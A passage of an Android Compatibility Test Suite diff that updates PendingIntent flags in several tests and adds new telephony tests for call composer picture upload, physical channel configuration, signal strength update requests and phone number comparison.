- final ContentResolver cr = mContext.getContentResolver();
- try {
- System.putFloat(cr, System.FONT_SCALE, Float.MAX_VALUE);
- fail("Should throw");
- } catch (IllegalArgumentException e) {
- }
- try {
- System.putFloat(cr, System.FONT_SCALE, -1f);
- fail("Should throw");
- } catch (IllegalArgumentException e) {
- }
- try {
- System.putFloat(cr, System.FONT_SCALE, 0.1f);
- fail("Should throw");
- } catch (IllegalArgumentException e) {
- }
- try {
- System.putFloat(cr, System.FONT_SCALE, 30.0f);
- fail("Should throw");
- } catch (IllegalArgumentException e) {
- }
- }
-}
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..7602bae 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -531,7 +531,7 @@
mContext,
9384 /* number not relevant */ ,
new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
+++ b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
@@ -41,7 +41,7 @@
final PendingIntent receiverIntent =
PendingIntent.getBroadcast(context, 0,
new Intent().setComponent(new ComponentName(context, InlineReply.class)),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final RemoteInput ri = new RemoteInput.Builder("result").setLabel("Remote input").build();
final Notification.Builder nb = new Builder(context)
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index 1f89db5..b8eb8bf 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -46,7 +46,7 @@
"android.telephony.cts.smsretriever",
"android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
PendingIntent pIntent = PendingIntent.getBroadcast(
- getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
+ getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
String token = null;
try {
token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 2923568..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -21,6 +21,7 @@
"src/android/telephony/ims/cts/TestImsSmsImpl.java",
"src/android/telephony/ims/cts/TestImsConfig.java",
"src/android/telephony/ims/cts/TestImsRegistration.java",
+ "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
"src/android/telephony/ims/cts/TestSipTransport.java",
"src/android/telephony/ims/cts/TestSipDelegate.java",
"src/android/telephony/ims/cts/TestSipDelegateConnection.java",
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index d58f103..4cf2658 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+ <uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
diff --git a/tests/tests/telephony/current/res/drawable/cupcake.png b/tests/tests/telephony/current/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/tests/tests/telephony/current/res/drawable/cupcake.png
Binary files differ
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..53d91ff
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.OutcomeReceiver;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+ private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+ private static final String TEST_FILE_CONTENT_TYPE = "image/png";
+ private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+ private String mPreviousDefaultDialer;
+ private Context mContext;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ overrideDefaultDialer();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ restoreDefaultDialer();
+ Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+ }
+
+ @Test
+ public void testUploadPictureWithFile() throws Exception {
+ Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+ byte[] imageData = getSamplePictureAsBytes();
+ Files.write(testFile, imageData);
+
+ pictureUploadHelper(testFile, null, -1);
+ }
+
+ @Test
+ public void testUploadPictureAsStream() throws Exception {
+ byte[] imageData = getSamplePictureAsBytes();
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+ pictureUploadHelper(null, inputStream, -1);
+ }
+
+ @Test
+ public void testExcessivelyLargePictureAsFile() throws Exception {
+ int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+ byte[] imageData = getSamplePictureAsBytes();
+ byte[] paddedData = new byte[targetSize];
+ System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+ Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+ Files.write(testFile, paddedData);
+
+ pictureUploadHelper(testFile, null,
+ TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+ }
+
+ @Test
+ public void testExcessivelyLargePictureAsStream() throws Exception {
+ int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+ byte[] imageData = getSamplePictureAsBytes();
+ byte[] paddedData = new byte[targetSize];
+ System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+ ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+ pictureUploadHelper(null, inputStream,
+ TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+ }
+
+ private void pictureUploadHelper(Path inputFile, InputStream inputStream,
+ int expectedErrorCode) throws Exception {
+ TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+ CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+ new CompletableFuture<>();
+ OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+ new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+ @Override
+ public void onResult(@NonNull ParcelUuid result) {
+ resultFuture.complete(Pair.create(result, null));
+ }
+
+ @Override
+ public void onError(TelephonyManager.CallComposerException error) {
+ resultFuture.complete(Pair.create(null, error));
+ }
+ };
+
+ if (inputFile != null) {
+ tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+ Executors.newSingleThreadExecutor(), callback);
+ } else {
+ tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+ Executors.newSingleThreadExecutor(), callback);
+ }
+
+ Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+ try {
+ result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ } catch (TimeoutException e) {
+ fail("Timed out waiting for response from TelephonyManager");
+ return;
+ }
+
+ if (result.second != null && expectedErrorCode < 0) {
+ String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ fail("Upload failed with " + error
+ + "\nIOException: " + result.second.getIOException());
+ } else if (expectedErrorCode >= 0) {
+ String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ if (result.second == null) {
+ fail("Did not get the expected error: " + expectedError);
+ } else if (result.first != null) {
+ fail("Got a UUID from Telephony when we expected " + expectedError);
+ } else if (result.second.getErrorCode() != expectedErrorCode) {
+ String observedError =
+ TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+ TelephonyManager.CallComposerException.class, "ERROR_");
+ fail("Expected " + expectedError + ", got " + observedError);
+ }
+ // If we expected an error, the test ends here
+ return;
+ }
+
+ assertNotNull(result.first);
+ // TODO: test the actual upload and/or storage to the call log.
+
+ // Make sure that any file descriptors opened to the test file have been closed.
+ if (inputFile != null) {
+ try {
+ Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+ StandardOpenOption.APPEND).close();
+ } catch (IOException e) {
+ fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+ }
+ }
+ }
+
+ private byte[] getSamplePictureAsBytes() throws Exception {
+ InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+ return readBytes(resourceInput);
+ }
+
+ private static byte[] readBytes(InputStream inputStream) throws Exception {
+ byte[] buffer = new byte[1024];
+ ByteArrayOutputStream output = new ByteArrayOutputStream();
+ int numRead;
+ do {
+ numRead = inputStream.read(buffer);
+ if (numRead > 0) output.write(buffer, 0, numRead);
+ } while (numRead > 0);
+ return output.toByteArray();
+ }
+
+ private void overrideDefaultDialer() throws Exception {
+ mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+ InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+ TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "cmd role add-role-holder --user " + UserHandle.myUserId()
+ + " android.app.role.DIALER " + mContext.getPackageName());
+ }
+
+ private void restoreDefaultDialer() throws Exception {
+ TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "cmd role add-role-holder --user " + UserHandle.myUserId()
+ + " android.app.role.DIALER " + mPreviousDefaultDialer);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 60b0de2..24cc212 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -212,7 +212,7 @@
.build();
// Send
final PendingIntent pendingIntent = PendingIntent.getBroadcast(
- context, 0, new Intent(ACTION_MMS_SENT), 0);
+ context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
smsManager.sendMultimediaMessage(context,
contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..38873cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -387,12 +387,65 @@
@Test
public void testFormatNumberToE164() {
- assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
- assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+ assertNull(PhoneNumberUtils.formatNumber("invalid#", "us"));
+ assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "us"));
- assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
- assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
- assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
- assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+ assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "us"));
+ assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "us"));
+ assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "us"));
+ assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "jp"));
+ }
+
+ @Test
+ public void testAreSamePhoneNumber() {
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+ "us"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+ assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+ //TODO: Change the expected result to false after libphonenumber improvement
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+ assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
new file mode 100644
index 0000000..cc534f7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PhysicalChannelConfigTest {
+
+ private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
+ private static final int BAND = 1;
+ private static final int CONNECTION_STATUS = PhysicalChannelConfig.CONNECTION_PRIMARY_SERVING;
+ private static final int CELL_BANDWIDTH = 12345;
+ private static final int CHANNEL_NUMBER = 1234;
+ private static final int FREQUENCY_RANGE = 1;
+ private static final int PHYSICAL_CELL_ID = 502;
+ private static final int PHYSICAL_INVALID_CELL_ID = 1008;
+ private static final int NETWORK_TYPE_NR = TelephonyManager.NETWORK_TYPE_NR;
+ private static final int NETWORK_TYPE_LTE = TelephonyManager.NETWORK_TYPE_LTE;
+ private static final int NETWORK_TYPE_UMTS = TelephonyManager.NETWORK_TYPE_UMTS;
+ private static final int NETWORK_TYPE_GSM = TelephonyManager.NETWORK_TYPE_GSM;
+
+
+ private PhysicalChannelConfig mPhysicalChannelConfig;
+
+ @Before
+ public void setUp() throws Exception {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_LTE)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setFrequencyRange(FREQUENCY_RANGE)
+ .setDownlinkChannelNumber(CHANNEL_NUMBER)
+ .setUplinkChannelNumber(CHANNEL_NUMBER)
+ .setBand(BAND)
+ .build();
+ }
+
+ @Test
+ public void testInvalidPhysicalChannelConfig() {
+ try {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setNetworkType(NETWORK_TYPE_LTE)
+ .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setFrequencyRange(FREQUENCY_RANGE)
+ .setDownlinkChannelNumber(CHANNEL_NUMBER)
+ .setUplinkChannelNumber(CHANNEL_NUMBER)
+ .setBand(BAND)
+ .build();
+ fail("Physical cell Id: 1008 is over limit");
+ } catch (IllegalArgumentException e) {
+ }
+ }
+
+ @Test
+ public void testGetCellBandwidthDownlinkKhz() {
+ assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthDownlinkKhz());
+ }
+
+ @Test
+ public void testGetCellBandwidthUplinkKhz() {
+ assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthUplinkKhz());
+ }
+
+ @Test
+ public void testGetConnectionStatus() {
+ assertEquals(CONNECTION_STATUS, mPhysicalChannelConfig.getConnectionStatus());
+ }
+
+ @Test
+ public void testGetNetworkType() {
+ assertEquals(NETWORK_TYPE_LTE, mPhysicalChannelConfig.getNetworkType());
+ }
+
+ @Test
+ public void testGetPhysicalCellId() {
+ assertEquals(PHYSICAL_CELL_ID, mPhysicalChannelConfig.getPhysicalCellId());
+ }
+
+ @Test
+ public void testGetBand() {
+ assertEquals(BAND, mPhysicalChannelConfig.getBand());
+ }
+
+ @Test
+ public void testGetDownlinkChannelNumber() {
+ assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getDownlinkChannelNumber());
+ }
+
+ @Test
+ public void testGetUpChannelNumber() {
+ assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getUplinkChannelNumber());
+ }
+
+ @Test
+ public void testGetContextId() {
+ assertEquals(CONTEXT_IDS, mPhysicalChannelConfig.getContextIds());
+ }
+
+ @Test
+ public void testFrequencyRange() {
+ assertEquals(FREQUENCY_RANGE, mPhysicalChannelConfig.getFrequencyRange());
+ }
+
+ @Test
+ public void testFrequencyRangeForNrArfcnFromBand() {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_NR)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setDownlinkChannelNumber(4500)
+ .setUplinkChannelNumber(4500)
+ .setBand(AccessNetworkConstants.NgranBands.BAND_79)
+ .build();
+
+ assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+ ServiceState.FREQUENCY_RANGE_HIGH);
+ }
+
+ @Test
+ public void testFrequencyRangeForNrArfcnFromChannelNumber() {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setPhysicalCellId(PHYSICAL_CELL_ID)
+ .setNetworkType(NETWORK_TYPE_NR)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setDownlinkChannelNumber(4500)
+ .setUplinkChannelNumber(4500)
+ .setBand(100)
+ .build();
+
+ assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+ ServiceState.FREQUENCY_RANGE_LOW);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
new file mode 100644
index 0000000..0440f89
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collection;
+import java.util.List;
+
+public class SignalStrengthUpdateRequestTest {
+
+ private SignalThresholdInfo mRssiInfo = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+ .setThresholds(new int[]{-109, -103, -97, -89})
+ .build();
+
+ private SignalThresholdInfo mRscpInfo = new SignalThresholdInfo.Builder()
+ .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.UTRAN)
+ .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP)
+ .setThresholds(new int[]{-115, -105, -95, -85})
+ .build();
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ }
+
+ @Test
+ public void testBuilderWithInvalidParam() {
+ // null Collection
+ validateBuilderWithInvalidParam(null);
+
+ // duplication of SignalMeasurementType in Collection
+ validateBuilderWithInvalidParam(List.of(mRssiInfo, mRssiInfo));
+ }
+
+ @Test
+ public void testBuilderWithValidParams() {
+ Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+ assertFalse(request.isReportingRequestedWhileIdle());
+ assertEquals(infos, request.getSignalThresholdInfos());
+ }
+
+ @Test
+ public void testParcel() {
+ Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(true).build();
+
+ Parcel p = Parcel.obtain();
+ request.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ SignalStrengthUpdateRequest newRequest =
+ SignalStrengthUpdateRequest.CREATOR.createFromParcel(p);
+ assertThat(newRequest).isEqualTo(request);
+ }
+
+ @Test
+ public void testEquals() {
+ Collection<SignalThresholdInfo> infos1 = List.of(mRssiInfo, mRscpInfo);
+ SignalStrengthUpdateRequest request1 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(false).build();
+
+ assertTrue(request1.equals(request1));
+
+ // Ordering does not matter
+ Collection<SignalThresholdInfo> infos2 = List.of(mRscpInfo, mRssiInfo);
+ SignalStrengthUpdateRequest request2 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos2).setReportingRequestedWhileIdle(false).build();
+ assertTrue(request1.equals(request2));
+
+ SignalStrengthUpdateRequest request3 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(true).build();
+ assertFalse(request1.equals(request3));
+
+ Collection<SignalThresholdInfo> infos4 = List.of(mRscpInfo);
+ SignalStrengthUpdateRequest request4 = new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos4).setReportingRequestedWhileIdle(false).build();
+ assertFalse(request1.equals(request4));
+
+ // return false if the object is not SignalStrengthUpdateRequest
+ assertFalse(request1.equals("test"));
+ }
+
+ private void validateBuilderWithInvalidParam(Collection<SignalThresholdInfo> infos) {
+ try {
+ new SignalStrengthUpdateRequest.Builder()
+ .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+ fail("Exception expected");
+ } catch (IllegalArgumentException | NullPointerException expected) {
+ }
+ }
+}
